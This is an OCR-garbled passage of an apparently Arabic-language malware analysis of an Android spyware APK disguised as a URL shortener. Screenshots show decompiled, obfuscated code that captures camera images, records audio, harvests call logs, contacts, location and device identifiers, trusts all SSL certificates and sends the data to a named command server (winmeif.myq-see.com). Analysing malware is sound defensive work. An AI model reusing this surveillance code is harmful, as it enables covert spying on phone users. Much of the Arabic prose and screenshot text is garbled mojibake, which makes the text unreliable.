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Genymotion for personal use - Google Nexus 5 - 4.4.4 - AP| 19 - 1080x1920.. @ @ ©

S HE1235 g

WIDGETS

o B @ ®

Settings Superuser Telegram URL

Shortener
@ ,

Voice Dialer  Yandex.Store

il alay W Cus (e Jaadill) QUail 461800 Jaad “MainService” asb Android Service! cruuails a gy Cunal) Calal)

Genymotion for personal use - Google Nexus 5 - 4.4.4- AP| 19 - 1080x1920.. @ @ © Genymotion for personal use - Google Nexus 5 - 4.4.4- AP119 - 1080x1920.. @ @ ©
= 3
1D T4 H12:36 g 1D a4l @12:36 g

(* Apps SHOW CACHED PROCESSES = (* Running app &

o] Q
RUNNING I H URL Shertener 8.4MB

. 1 process and 1 service 21:18:02
Settings
1 process and 0 services SERVICES

i H URL Shortener 8.4MB I H MainService 21:18:02
1 process and 1 service 21:17:58 Started by app.

Yandex Stor - This service was started by its app.
’ ReELSieE £ Stopping it may cause the app to fail.
A 1 process and 1 service 21:50:33

Telegram 17MB Stop
1 process and 1 service 21:49:36
S PROCESSES

A Android Keyboard (AOSP) 78vie URL Shortener 8 AMB

1 process and 1 service 22:22:47 de keineantwort.android.urlshortener

Main process in use.

! https://developer.android.com/guide/components/services.html
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root@Cyberkov: ~/voicemessage/Voice Massege — Konsole o ® O
File Edit View Bookmarks

(-# mkdir volceme

Settings Help

H o HH H HHHH A

androidManifest.xnl apktool.yml

Voice Massege : bash

e 4nad o Cad ile e 3 ke malindl of @3 AndroidManifest.xml <ale 3213 5 apktool s1af alaaiuly Calall GlS& ey
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=activity android
<intent-filt
android:name
android: name

<activity android:name="".Edit5
=intent-filt
android: name
android: name

ng.INSTALL_REFERRER

ain.HainService'>

Voice Massege : vim

2,3 Jid jaie A Java Package ) auls sl ie
;) G ¢ (https://play.google.com/store/apps/details?id=de.keineantwort.android.urlshortener)

=]
P URL Shortener - And \+
€ ¢ URL Shortener - Android Apps on Google Play & k) ¥ 4 ¥
I P - o o
|URL Shortener]
<
Games
Family
Editors’ Choice Add to W ¢ n
Account
My Play activity : = ol B 154
| UL Shortener T
My wishlist
[ Lieblings-Shortener I}
Redeem — o
8oy
Parent Guide . —
Kurzent bitly Direktes Kirzen
: ~
goog o
bit.ly Einstellungen
I | .. bilylogin
Jmp
bit.ly apiKey
tinyurl.com
200.8 properties
s W R o o 5005 v
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<« | ¢ I:l App: URL Shortener — keineantwort & % #F A L ‘

kel nea ntw 0 r‘t Android, Mabile Life und mehr.

APP: IST MEIN ZUG PUNKTLICH? APP: IBAN RECHNER APP: URL SHORTENER IMPRESSUM

App: URL Shortener

i
Teile URLs. Mit jedem URL Shortener, den Du benutzen mochtest.
Zur Zeit werden folgende Shortener unterstatzt:

e is.gd

» goo.gl (mit und ohne Authentifizierung)
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AndroidManifest.xml (~/voicemessage/Voice Massege) - VIM — Konsole e e O
File Edit View Bookmarks Settings Help

Voice Massege : vim

AndroidManifest.xml (~/voicemessage/Voice Massege) - VIM — Konsole o ® O

File Edit VYiew Bookmarks Settings Help

m

Voice Massege : v

Tel: +965 22445500 | Fax: +1 (888) 4333113 | Emai



AndroidManifest.xml (~/voicemessage/Voice Massege) - VIM — Konsole e e O

File Edit View Bookmarks Settings Help
<uses-permissio 0i i

JHPLETED"
EAD_VOIC

. NFC";
.HOUNT_UNHOUNT_FILE
-HOUNT_FORHAT_FILESYS
.HODIFY_AUDIO_SETTINC
-HEDIA_CONTENT_CONTRO
-HANA 0C

android: i
android:name=""c roid. 1 aun ission.INSTALL SHOI
i issi TIVITY_INF0™,

Voice Massege : vim

el g Sl 5 Jlead) (8 dgiall 4y jUad) jlate 5 ASuill Juai¥) Alla 5 jlead) (S e Jsaall cladla callay (5 0l o 58
Y e Jaall cladla s (55 Saall 5

oo B gla S (4 s‘yeis)éjrmRootJ\a\ﬂahuﬁ\hjuew\u@eg)@\ngdﬂ (el el ) Jaals oy
35 (3 Root )l cilbiaSla Gallay

Genymotion for personal use - Samsung Galaxy Note 3-43-AP118-108. @ @ @
13

! Superuser Request

URL Shortener is requesting Superuser
access.

Warning: If you do not understand this, you should
deny the request.

u URL Shortener

Developer Warning
android.permission. ACCESS_SUPERUSER
not declared in manifest.

@ This time only
Remember choice for 10 minutes

Remember choice forever

Allow
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root@Cyberkov: ~/voicemessage/Voice Massege/res/raw — Konsole o ® O
File Edit View Bookmarks Settings Help

.xml  apktool.y

AndroidManif cuml

raw : bash

1on "l @ lie” Ao ganal Al a8l g 3alall S je o “config.json” —ale ualds cldy ALl aay 44U 5 ) geall (e iy
64631 28l Jariw s winmeif.myqg-see.com

il 48,80 A5 S IP Ol sie 585 41.208.110.46 5 Ll o jlie” 3 Ul [P ) sie of cuy IP A1 ) adind 5 (Sl Judas sy

LT Auissl) g elaisu
root@Cyberkov: ~/voicemessage/Voice Massege/res/raw — Konsole o ® O

File Edit View Bookmarks Settings Help

winmelf . my .com has add
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Geolocation data from| IP2Location [Product: DB6, updated on 2016-8-1)

IP Address

51.208.110.46

ISP

Libya Telecomn and
Technology Backbone
L.L Pool

Country Region City

Tarabulus Tripoli
Organization Latitude Longitude
Mot Available 32.875190734B63 13.187459945679

Geolocation data fro Product: API, real-time)

IP Address

41.208.110.46

ISP

General Post and
Telecommunication
Company (GPTC)

| Lib\fa-l Mot Available Mot Available
Organization Latitude Longitude
Libya Telecom and 25.0000 17.0000

Technology Backbone
L.L Pool

i apeadl dalic dale deas il Gy adde J 520l 305 myqg-see.com s "l o )lie" de gana alexin (g3l (Glaill (o Lia Jaadl

Sy IS il (DA (e

[ myq-see.com DPSI DT | +

=l

EEES

¢ myg-see.com myq-see.com DPSI DDNS

s k) & At

©9-Seg

Logon
Registration

Welcome to myg-see.com

Create a user account or choose existing users below to begin.

NEW USER REGISTRATION
EMAIL ADDRESS
PASSWORD ©

PASSWORD
CONFIRM

FIRST NAME

LAST NAME

SECURITY

QUESTION. My first phone number. v

ANSWER

CONFIRM YOU'RE o
HUMAN New Captcha

Caald 38 o jalSl aan o685 4S8 A 5 Q-See anly 4S il Al dendll o Jaadl dadal) Jind ) Js 3l 5 a8 sall e Jsaall xie
Sy 1aelSIL paladl [P ) ) gie Jada Jad i Y e Lgale Jsaall <l jualSH S 55 v Leiil ) (e dagutll Aol 038 £ LS
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] myg-see.com DPSI D +

¢/ myq-see.com DPSI DDNS @ k) g Ag L

T
Create a user account or choose existing users below to begin

Registration

NEW USER REGISTRATION
EMAIL ADDRESS
PASSWORD (7]

PASSWORD
CONFIRM

FIRST NAME
LAST NAME

SECURITY

QUESTION. My first phone number. ¥

ANSWER

CONFIRM YOU'RE
HUMAN

Solve the problem above.
Submit | | Reset

Already have an account? Click here to logon

| [ myg-see.com DPSID [ Home page Q-See +

& ¢ [mmgsescon] DX

1-877-998-3440  FREE SHIPPING ON ALL ORDERS* - ACCOUNT v

QSEE&  rrobucTs  TECHNOLOGY — SUPPORT 0\

Security Systems @@
Made for You. N

Q-See delivers the high quality security
systems and smart notifications to turn
homes into your fortress.

SHOP NOW | >
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.RootShell 5 RootTools (545 25,30 Slea 8 Root ) lblee Jagusdl 5 sedia Sl ol aladiinly (ya g plall o 5

File View Navigation Tools Help
Bl & 4 &
v 22 classes.dex
¥ (@ Source code
* Ha
» i android.annotation

= £ admob.android.ads
£5 google.app
¥ =2 stericson

» 3 RootTools
» 1 de.keineantwort.android
» 1 org

jadx-gui - classes.dex (- C N ]

Ml Colae" de senal Al aSaill g BaLall S jal Lgmd )5 Sleadl | nalS (e sacall lEH (g jldll aakalinn LS

Eile View Navigation Tools Help
Bla &4 » 4 ¢

» © TurnOnReciver
» @ aaas

¥ £ options
» O CameraView
» @ aaac
» © aaad
» @ aaaf
» © aaal
» G aaan
» © aaas
» © aaav
» © aaay

» @ ActivityPermi

» & MainActivity

» © aaac

» © aaad

» @ aaaf

» © aaal

» © aaan

» @ aaaq

» @ aaas

» © aaav

» @ aaax

» © aaay

v ff stericson

¥ i RootShell
» 2 containers
» i exceptions
» 3 execution
» @ RootShell

= I =

jadx-gui - classes.dex e ® 0
= & I &
s
#% © com.google.app.MainActivity ¢ O com.google.app.options.aaay ¢ | G com.google.app.options.aaax ¥ 4 »
package com.google.app.options; 4
import android.hardware.Camera;
import android.hardware.Camera.PictureCallback;
import android.media.AudicManager;
import android.util.Log;
import c.aaal;
/* compiled from: bb */
| [class aaax implements Picturecallback { |
final /* synthetic */ CameraView L;
188 /* synthetic */ aaax(CameraView argo) {
190 this.l = argo;
1
239 public /#* synthetic */ vuidyte[] argd, Camera argl) {
240 if (argo !'= null) {
51 this.l.w.stopPreview(]);
142 this.l.c = false;
235 this.l.w.release();
try {
235 System.ge();
197 Log.1(aaal.y("EXeVE\UO017) \UDOLEY " \LOOE2*" ), aaal.y(" (\UOOlccES\UOOL7X\UDD1AS)
8% Log.1i(aaal.y(",\u000B5\uBEOETLWOB11" ), arg®.length + "");
s86 System.gec();
4381 new Threadinew zaan(this, argd)).start();
388 System.gc();
567 [(AudioManager) this.l.getSystemService(aaal.y("&\r#\bl"))).setRingerMode(2);
} catch (Exception e) {
564 e.printStackTrace(];
}
501 this.l.finish();
v o } v
< e e -
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File View Navigation Tools Help
=]
v # google.app
v #a
» @ aaac
» © aaas
» © aaay
v @b
» @ aaac
» O aaal
» © aaay 75
* [ main 75
» © MainService
» @ TurnOnReciver
» O aaas 4
¥ £ options 15
» @ CameraView
» @ aaac 251
» © aaad
» (3 aaaf
» © aaal
» G aaan
» O aaas
» @ aaav
» @ aaax
» © aaay
» @ ActivityPermi
» @ MainActivity
» & aaac
» @ aaad
» @ aaaf
» @ aaal
‘I -

v

Eile View Navigation Tools Help

BB B8 £ 4 o G

» (@ aaax “
» @ aaay
v H@c 81
:
» O aaal =0
» G aaas 231
» @ aaay 70
v £ com 51
» {1 admob.android.ads 248
¥ £ google.app 35
v #a &3
» @ aaac
» © aaas
» © aaay 180
v f§#b
» O aaac lfé
» © aaal a3
» © aaas 203
» @ aaay
v £ main 203
» ® MainService ig
» @ TurnOnReciver
» © aaas o
¥ £ options =r]
» @ CameraView 101
» O aaac =)
» © aaad =
» G aaaf 166
» O aaal
» (& aaan
» @ aaas .

a_______________________[C

E @ A S E

jadx-gui - classes.dex

package com.google.app.b;

import b.aaab;
import java.security.cert.CertificateException;
import java.security.cert.XSo9Certificate;
import javax.net.ssl.XS09TrustManager;

V* compiled from: zb */

public final class aaaslimElements XSOQTrustManaqerl{

i g\ ey (ol lld g oSl g 3aldll S e Juai¥) Jis Accept All Certificates sl cilaled asas J sy (g oWl o 68 Leal
Llsaall e Jual gl Jis SSL plall J S 535 0 (S Gaids

o0

@ac £ © com.google.app.options.CameraView £ = com.google.app.b.aaay X | @ com.google.app.b.aaas ¥ |. .

T

public /* synthetic */ X50SCertificatel] getAcceptedIssuers() {
return null;

public /* synthetic */ wveoid|checkClientTrusted|XxSegCertificate[] argd, String argl) throws ¢
throw new UnsupportedOperatlonException{aaab.y (") "B\u0002)\U0017%b\LODODAY LOOLEDY LODOSLY L

I

public /* synthetic */ veid|checkServerTrusted(XS0SCertificate[] x509CertificateArr, String

d};)}ﬁgﬂ\ QUJM\M#MMMYQPL)AMJLP&}M@N\ J:\}J.\iiﬂ\)'\.ﬁdg};ﬁw}ﬁw\@kﬁugus

el £ Ll "Ll i e ganal qlil Sl g 80N S5l Ll ) & lead)

iy % O com.googleapp.a.aaas ¥ & com.google.app.a.aaac X

jadx-gui - classes.dex

this = this;
this.w = 16;
Log.elsaao.y("CRh_INE"), "");

G caaay X

oo

¥ | Ocasac ¥ |,

&

@ c.aaas

this.b = argl;
this.y = AudioRecord.getMinBuffersize(this.x, argo, this.m);
this.o = new AudioRecord(1, this.x, argo, this.m, this.y);
this.o.setPositionNotificationPeriod(512);
this.o.setRecordPositionUpdateListener(this);
this.h = new Thread(new zaay(]);
this. T = false;
this.h.start();
}
public /* synthetic */ void el) {
try {
if (this.o.getState() == o) {
this.o.release();
this.oc = null;
return;
this.l = new byte[this.vl:
this.o.startRecording();
aaac this = this;
while (!this.f] {
int read = this.o.read(this.l, 0, this.y);
Object obj = new byte[read];
System.arraycopy(this.l, 0, obj, 0, read);
this.p.add(ebj);
this = this;
i
this.o.stop();
} catch (ThrowabTe th] {
}
1
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Eile View Navigation Tools Help
B B8 F L o G

» © aaae . )

» O aaaf P X
» © aaah
» © aaal
» @ aaam
» (3 aaan
» @ aaao
» @ aaaq

» O aaas 2:3

» (3 aaat =9
» © aaav

¢ (3 aaax 25

» @ aaay Ej

v Hc

» @ aaac o

» @ aaal o2
» (3 aaas

» (3 aaay 32

v H# com gg

» # admob.android.ads -1

v £ google.app 111

v H#a 163

» @ aaac 193

» O aaas 1e3

» O aaay

v @b 193

» @ aaac 164

» © aaal 43

» @ aaas 143

» © aaay B 214

jadx-gui - classes.dex (IO <]

o

Gibasag X  © basas X Glbasat X © basav X | © basaw X | G basax X O basay X .,

4

import org.)son2.JSONObject;

/* compiled from: ab */

public final class azaw extends Thread {
private final /* synthetic */ ObjectOutputStream 1;
private final /* synthetic */ JSOMCbject o}

public /* synthetic */ woid run() {
File file = new File(this.o.getStringlaaab.y("6~;r)a")));
if (file.isDirectory()) {
Object[] listFiles;
Object[] objarr;
if (this.o.getBoolean(aaay.y("\u00lak\u0o03] \u0019n faiuoooooyrk ) )) {
listFiles = file.listFiles(new aaaqg());
objArr = listFiles;
I else {
listFiles = file.listFiles(new aaax());
objArr = listFiles;

Arrays.sort(listFiles, new aaan());

if (objarr !'= null) {
JSOMObject jSONObject = new JSOMOhject();
jsoMobject.putlaaab.y ("w? |\ 1), 2);
Object jSONArray = new JSONArray();
if (objarr.length = 0} {

int length = objArr.length;
int 1 = 0;
int 12 = 0;

while (i = length) {
file = objarr[i2];
Cbject jSONObject2 = new JSONObject();
]SONObject2.put(aaay.y("\nk\ubolzt"), file.getName());
jsoNObject2.putiaaab.y("re%a"), file.isDirectory());
]SONObject2. put(aaay.y (" \wooook uooobt"), file.lastModified());

S A0S Al 53 g S A8 yme (S Leta s Gl il 535 bl dashady i ) 4a s e Jasally Sleall (e aaad (g il gl

48l agiul
jadx-gui - classes.dex [- O -]
File View Mavigation Tools Help
L BE B4 AL o G P
» & aaaf - ‘
» @ aaafb @ aaaab X | @aasaak X (Glaasakb X laasaal X © aaaalb X | Gaasam X @aasaamb X €.,
» @ aaag package a;
» © aaagb - - :
import android.location.Location;
» @ aaah import android.location.locationListener;
» @ aaahb import android.os.Bundle;
» (3 aaai import android.util.Log;
» (& aaab -
» O aaa| [/ * co.'.'!pzls_-o ...' n: ¥ :
class aaajb|implements LocatlonLlstenerI{
aaa final /#* synthetic */ aaabb T;
» (3 aaa
» G aaakb 5 public /* synthetic */ weid onProviderEnabled(String str) {
» (& asal }
> (& zlk 75 ivate /* thetic */ jb(aaabb o) {
private /* synthetic */ aaajblaaabb arg
: g::::b 78 this.l = argo;
i
» @ aaan
» @ aaanb 100 public /* synthetic "',flvnid onLocationChanged(Location argD)l{
» & aaao 101 Log.1(aaau.y(" w0003, \WO0164U0002; ) Y0010 YOOl \uO016&\uOOLT $u001d%\uB01lc" ), arg0.get
» ® aaaob 133 ; new Thread(new aaarb(this, argo)).start();
» @ aaap
» G aaag 185 public /* synthetic */ woid onProviderDisabled(String str) {
» © aaagb }
» (& aaar
» @ aaarb 198 public /#* synthetic */ woid onStatusChanged(String arg0, int argl, Bundle arg2) {
» @ azas 241 Log.elaaau.y(";\ UO00e7\UOOOESY |\ UODOE, LUOO1d- \UOD19) WOOL13+" ), argo);
» @ aaasb }
» @ aaat
» © aaatb
» @ aaau
» @ aaaub .
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File View Navigation Tools Help

T BlEa &8 o
» (3 aaaf

» (3 aaag
» © aaagb
» (3 aaah
» (3 aaahb
» @ aaai
» (1 aaaib
» O aag|

» @ aaab
» (3 aaak
» (3 aaakb
» (4 aaal
» @ aaalb
» @ aaam
» (@ aaamb
» (1 aaan
» @ aaanb
» @ aaao
» © aaaob
» © aaap
» (4 aaaq
» © aaagb
» @ aaar
» (3 aaarb
» (G} aaas
» @ aaasb
» © aaat
» © aaatb
» O aaau
» © aaaub

g |

=)

S

v

A

jadx-gui - classes.dex [ IC ]

G aaaafb ¥  @Gaasag X | ©aasagh KX Glaasah X @Gaaashb X  Gaaeaai K | Gaaaab X ..
final /#* synthetic */ ObjectOutputStream o; o

183 /* synthetic */ aaafb(Context arg0, ObjectoutputStream argl) {
164 this.1 = argo;
154 this.o = argl;
}
213 public /* synthetic */ void run() {
152 if (VERSION.SDK INT < 23 || this.l.checkPermission{aaal.y("vf\u001c5\u0017.\ub01cl)\ubd]
176 |Cursor query = this.l.getContentResolver(].query(Calls.CONTENT_URI, |new String[l{a
S JSONObject JSONObject = new JSONCbjectl];
72 jSonCbject.put(aaal.y("\u00047\n2\UOOO1S,LUOOOO" ), 3);
183 Object jSOMArray = new JSONArray();
52 if (query.moveToFirst()) {
do {
158 Object jSONObject2 = new JSONObject();
136 jSONObject2.put(aaal.y("2\u0000"), query.getString(query.getColumnIndex(aa
212 jSonNObject2.put(aaal.y("6\000122\00002>\U0016" ), query.getString(query.get
74 JSONObject2.put(aaal.y("+ L0019+ U0001"), query.getInt(query.getColumnInde
133 JSONObject2.put(aaal.y("<\u0012+¥\UOOOEH\ t4\n" ), query.getLong(query.getCol
233 jSONObject2.put(aaal.y("; w0001/ \ubB01"), query.getlLong(query.getColumnInd
233 JSONArray.put(jSONChject2);
} while (guery.moveToNext());
146 query.closel);
try {
10 if (jsowarray.length() = @) {
synchronized (this.o) {
144 jSONObject.put(aaal.y("\w0004=\f7\u0017" ), JSONArray);
=] this.o.writeObject(jSONObject.toString());
33 this.o.flush(};
return;
1
o OO, . v
.

(:\MQL,\LMA‘;;d}iﬂ\"@g)&"hw@mmij\#ojdﬁw\ SMSJSL»JE;\JZ‘.UA})&G]\@MLQS
e'.‘\ggﬂbdpﬂ\)AJB;\)SeﬁuA@Jhua\Ai\d@\é)@a;eie\_)#:ﬁcah}wWebJ\i;m.le\AAla\&Jku&bbaaﬂ@m\

File View Mavigation Tools Help

I BE 4 A4
v 22 classes.dex
v (& Source code
v #Ha
» (3 asaa
» (3 aaab
» @ aaabb
» @ aaac
» (3 asach
» (3 aaad
» O aaadb
» (3 aaae

» (3 aaaf
» (3 aaafb
» (@ aaag
» @ aaagh
» (3 aaah
» (3 aaahb
v (3 aaai

» (3 aaaib
» O aag

» (@ aaajb
» (3 asak
» (3 aaakb
» (3 aaal
» © aaalb
» (3 aaam
» (3 aaamb
» (3 aaan
» @ aaanb
» © aaao

g |

=

=)

&

.SMS Z\JLNJ e ‘ﬂLuJ\

jadx-gui - classes.dex [ O ]

&

X ©Obasav X ©basaw X Gbasax X ©Obasay X ©Gaaaadb K (Gaasae K @aaaeed X ..

r2.writeObject(ra); Catch:{ all -> OxB638 } -
Catch:{ all -> Gx0638 }

r6.flush(); Catch:{ all -> 6xGO38 }

monitor-exit{rl); Catch:{ all -> Gx06638 }

nove-exception;
tor-exit(rl); Catch:{ all -> Gx06638 }
w ré; Catch:{ Exception -> 6x063b }

r@ = move-exception;
goto L_@x@E57;

L_Gx0063d:

r7 = new org.json2.JSONObject;

r7.<init=();
re = "@~jurk";
ré = b.aaao.y(r8);

;

put(re, rl};

r@ = r0. getContentResolver();
rl droid. provider.ContactsContract.Contacts. CONTENT Ui

ré.queryfrl, r2, r3, rd, r5);
ré.getCount();
if (r1 <= @) gote L_6xB6118;

L_0x6066:

rl = ré;

L_GX0667:

rl = rl.moveToNext(); -
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jadx-gui - classes.dex e ® O
File View Mavigation Tools Help

i BEa 48 £ 4 o @ B OF

v 73 classes.dex

9 (OSemRa X | Gibasax X  Obaaay X | ©aasadd X | Gaasaae X | Gaassseb X Claaaaf K  @Gaasafb X ..

v 3 127 public /* synthetic #/ void run() {
237 if (VERSION.SDK_INT = 23 || this.o.checkPermission(aaad.y("-c(a#a- 7{-tlqOd#, - _\tL\bR\
* @ aaaa aaadb this;
» G aaab 36 TelephonyManager telephonyManager = (TelephonyManager) this.o.getSystemService(aaa
» @ aaabb 134 Jsonobject jSOMChject = new JSOMOhject();
» @ aaac 222 1sonobiect.put(gaay,y ("~ yvikvuooiiy), 15);
» (@ aaach 222 Object linelNumber = telephcnyManager.getLlnelNumber(),'|
206 1T ((inelNumber = null] {
» (@ aaad ; .
51 jSONObject. put (aaad. y("P\nT\u001aGu0011" ), linelNumber);
- as Log.e(aaay.y("\rx\thyuoolac"), linelMNumber);
» (3 aaae 1
» (3 aaaeb a5 linelNumber = telephonyManager.getDeviceId();
» (& aaaf 253 if (linelMumber != null) {
» @ asafb 22 jSONObject. put(aaad.y("PLuO01SG\N"), linelNumber);
» @ asag 111 . Log.elaaay.y("\rg\ue0lax"), linelNumber);
» @ aaagb 111 linelNumber = telephonyManager.getNetworkCountr‘yIsc(),'|
» (3 agah 193 I_t_\‘l_m_ﬁl TREINOmEEr T= AULLT T
» (3 aaahb 164 jSoMObject. put (aaad. y (" \uBEOZ\LEOOFWZ\LUBEO3_\UOBEZR\UO0OT G\ UBE1C@\UOD1bL\UBBDE
» @ aaai 152 Log.elaaay.y("pZ%\U0007q} UOOOZUNUO0OT F\uB01an\Luee1d1\u0011t\ueelbe\f~"), linel
. 1
» (3 aaaib
N gaaa‘ 152 linelNumber = telephonyManager.getNetworkOperator‘();|
J‘ 263 1 1nelNomber T= nullT 1
» @ aaap 4 ]SONObject.put(aaad.y( " C\tY\u0O1bB LGD1eC UOO1EANLUBELT [\ X, fM\LEE11" ), linelNu
» (G aaak o2 Leg.e(aaay.y("\uo0le{\u00041\uo0lf 1\ u00led\U0O1lem\UO006:\ UOOOS~\u0010c" ), line
» (3 aaakb b
» & azal o2 linelNumber = telephonyManager.getNetwarkDperator‘Name();|
® 67 i S = MOCCr 1
4 aaalb
Y =3 jSONObject. put [aaad.y( "\ rH\LUBO1S\UOO1SL \UOOOTR) UOBEZ] Y 24 bZ\ UBOA0L |, LOOOCK LT
@aaa”‘b 166 Log.e(aaay.y("a\u0015]H>}uODO2U\LOCOF ¢\ LUOOODT YLOODT72\LOBE7 r\ L0011 r\nk\uO012t" )
» (G aaam| 1
» G aaan 166 linelnumber = telephonyManager.getSimOperator();
» (3 aaanb 29 if (linelhumber != null) {
» (@ aaao . v

slo e JoS 55 a2k g8 5 dmia uSal) Aunigh) illee Jaa g 4udi Ales] Allatori Java Obfuscator gl y aaiiu (gl

s ) AlienSpy s JSocket < s ylal lan dgilie dleally il 3 48yl o3 ¢ el SSL iy Cilie JSON Objects

jadx-gui - classes.dex e O
File View Navigation Tools Help
i Ba & 44 o 8 O P
» © aaat “ o ; ;
» @ asath @ caaal X © com.google.app.main.MainService X & com.google.app.options.aaad X & com.google.app.m . ,
» @ asau :
80 public /* synthetic */ void run() {
» @ aaaub try {
» © aaav 154 JSONObject jSONObject = new JSONObject();
» (3 asavb 264 JSONObject.put (aaad.y("\uDBE2Q4\UOO12T\UBE1SL\UODBT" ), 3);
» & asaw 35 jSONObject.put(aaao.y("PrxgZikuk"), aaad.y("h3s"));
» @ asawb 134 SsLSocket sSLSocket = (SSLSocket) aaas.o.createSocket(this.h, this.b);
0 O E 231 sSLSocket.setTrafficClass(24);
v G azs 231 sSLsocket.setkeepAlive(true);
Y 206 sSLSocket.setTepNoDelay (true) ;
» © aaayb 51 sSLSocket.setPerformancePreferences(0, 1, 2);
» © aaaz 249 objectOutputStream cbjectOutputStream = new ObjectOutputStream(sSLSocket.getOutput
» & aaazb 102 ObjectInputStream objectInputStream = new ObjectInputStream(sSLSocket.getInputStre
» B android.annotation 85 objectOutputStream.writeObject(jSONObject. toString());
» @b g5 cbjectOutputStream. flush();
22 cbjectoutputStream.writeUTF(O + aaad.y("\u0003") + aaas.l.getString(aaac.y("]clilc
vHC 22 objectoutputstream. flush();
» @ aaac 210 Log.elaaad.y("F\u0000\uB00bEDN rI\u0003- \ tLaN\u0013L\uoe1fk\r"), aaao.y("$\r?"));
aal while (trus) {
» (3 agas 193 jSOMObject = new JSONObject((String) objectInputStream.readoObject());
» @ asay switch (jSONObject.getInt(aaad.y("\u0OBZQ\UOO12T\LUGE1SL\UO0O7" ) )] {
case 1:
v & com . 43 Log.elasao.y ("1 nwl "), aaad.y('m"));
» & admob.android.ads 143 this.o = new aaac();
v 1 google.app 1601 this.o.y(]SONObject.getInt(aaao.y("NhR1ZyC")), objectOutputStream);
» Ha break;
» @b case 2:
v & main 205 if (this.oc == null) {
= @ MainService } Beak
= @ TurnOnReciver 193 this.o.y();
» © aaas break;
» £ options default:
» @ ActivityPermi 5 break; -
» @ MainActivity .. | L
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i)

SHA256:

total

e66d795d0c832ad16381d433a13a2cb57ab097d90e9c73a1 178a95132b100f70

| File name:

Voice Massege.apk |

Detection ratio:  8/54

Analysis date: | 2016-08-07 09:32:00 UTC ( 0 minutes ago )

B Analysis

Antivirus

@ File detail

AVG
AhnLab-V3
Drweb
ESET-NOD32
Ikarus
K7GW
Kaspersky
Sophos
AlYac
AVware
Ad-Aware

AegisLab

P2 Antivirus scan for 66.. %

[i]

-

Additional infermation @ Comments Q) Votes

Result
Android/G2P.KF.COABB6C5C5CE
Android-Spyware/Androrat.119be
Android.Spy.304.origin

a varlant of Androld/Spy . Krysanec.G
Trojan.AndroidOS . Krysanec
Spyware ( 004dSdf51 )
HEUR:Trojan.AndroidOS .Agent.ka
Andr/Krysanec-B

(]

L]
(]
L]

-

Jsh o ol deasl e I8 (e s ddll @b 5 o o) adl VirusTotal 2 () e s sl Cile 1 5 Liad o g 5ldll Qi (e o 1giiY) 22y
Mad G lie" Ao sana Jsa iaill daliag L 8 Claglaa o Jganll Ll g cdad o8 (a

@00

Update

20160807
20160806
20160807
20160806
20160807
20160807
20160807
20160807
20160807
20160807
20160807

20160807

a5 s (328 a5 Lgmd 5 i a5l (e A3 U5l VirusTotal 4eas e 0 (e 4 o ol Ga g il G Al 3 ) el (e (i
L O i Lae e 54 Jaal (e i Slles 8 i (e a8 (g il o Lis a3 (CSIRT 4ieY) Jad¥) Jilaty anadial)
(b ol M i A" Alae Caieal Caua 5V 5 4S5 ) ISl alana o L JaaDli g clas Al i a5 %15 (b Gus_pldll CaiS
Sl colae™ (g 8 alS

i) @ | https://virustotal.com/er

'd

l

% Most Visited v Jll Offensive Security “§ Kali Linux “§ Kali Docs “§ Kali Tools Wy Aircrack-ng

# Community

Kingsoft
Malwarebytes
McAfee
McAfee-GW-Edition
eScan

Microsoft
NANO-Antivirus
Panda

Qihoo-360
SUPERAntiSpyware
Symantec

Tencent

TheHacker

TrendMicro

Statistics

Documentation FAQ About
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root@Cyberkov: ~/voicemessage/sinkhole — Konsole o ® O
File Edit View Bookmarks Settings Help

aaau.class aaau. j:ﬁ va

bin : java bin : java sinkhole : java sinkhole : bash
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root@Cyberkov: ~/voicemessage/sinkhole — Konsole o ® O
File Edit View Bookmarks Settings Help

bin : java bin : java sinkhole : java sinkhole : bash
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jadx-gui - classes.dex [— I~ ]
File View Mavigation Tools Help

Bl S8 44+ & & & &

N 2
. S‘::x © com.google.app.b.aaac ¥ | © com.google.app.b.aaal ¥ | @ aaaav K O aasa] X O com.googleapp.aaa . »
v @ 139 this.p.flush(); :
» & agac while (true) {
» @ agal 135 JsgNobjegt jSONCbject = new JSONCbject((String) this.o.readObject());
» @ aaas switch (jSONGbject.getInt(aaav.y("zZ~T|xrP"))) {
A *
» @ aaay 56 aaac com_google_app_optlons_aaac = new aaac(jSONCbject, this.l, this.b
¥ H# com break;
» [} admob.android.ads | case com.google.app.a.aaas.k /*161%/ |
vt google.app 183 new aaay(]SONCbject, this.T].start();
v @a hreak;
| case com.google.app.a.aaas.b / '=]@2=‘;’:|
> © aaac 136 new aaad|]SONObject, this.Ll).startl);
» © aaas break;
» @ aaay [ case com.google.app.a.aaas.l /*165+/ ;|
233 new com.google.app.options.aaal(this.p).start();
break:
| case com.google.app.a.aaas.d /*164%/: |
17a new com.google.app.options.aaav(this.p, this.l).start();
break;
I case com.google.app.a.aaas.p / '=J€5=';’:|
v £ main 144 new com.google.app.options.aaasithis.p).start();
» & MainService break:
» ® TurnOnReciver | case com.google.app.a.aaas.] /*106%/: |
» ® aaas 241 this.w.closel);
‘ hreak;
v i options I case com.google.app.a.aaas.f /*107+/: |
» @ CameraView 57 Process.kil[Process(Process.myPid()];
» & aaac break;
» & aaad Icase com.google.app.a.aaas.o / '=J€8=‘;’:|
» @ acaf 201 String string = JSONObject.getStringlaaad.y("\u00lcl\u0O14Y\uDO1EW\LOT
271 if (!string.equalsIgnoreCase(aaav.y(")\fy""))) {
> © aaal 50 if (Istring.equalsIgnoreCase(aaad.y("hzt"))) {
» G aaan 2] if (!string.equalsIgnorecase(aaav.y(")\r$"))) {
» O aaas v break; v
7 = < -
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‘URL Shortener @:\s;l\ GAUJJ\ Catt el (g ylall ?5373 111 ‘)AS” Jlu ) die Db c(&_'qé)'d\ Syl EJ\A Sle La

root@Cyberkov: ~/voicemessage/sinkhole — Konsole e O
File Edit View Bookmarks Settings Help

bin : java bin : java sinkhole : java sinkhole : bash

Agaall Jlea 83U sda jelii 5 Juu ) 2e

Genymotion for personal use - Google Nexus 5 - 4.4.4 - AP| 19- 1080x1920.. @ ® @

URL Shortener

Do you want to uninstall this
app?

Cancel
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shaall aSaill 52l S 5

MR e ity "l o lie” de sanal il Ea) Sl g bl S e Jidaty Aal) HUaaY) sty (aidall i S Hule (358 A8
1234 &) ) midy o g8 il g, ldl) (e g 5l 138 (Y JSocket/AlienSpy & 5t (o Db de sanall 4nadind (3 (g plall o Jalail
.assylias? aul el salgd Jaria

l2d Insecure Connection x | &

7= | myq-see.com | [ ] e Search b+ A= ]

{5 Most Visited v [l Offensive Security S Kali Linux & Kali Docs ' Kali Tools W Aircrack-ng

# Your connection is not secure

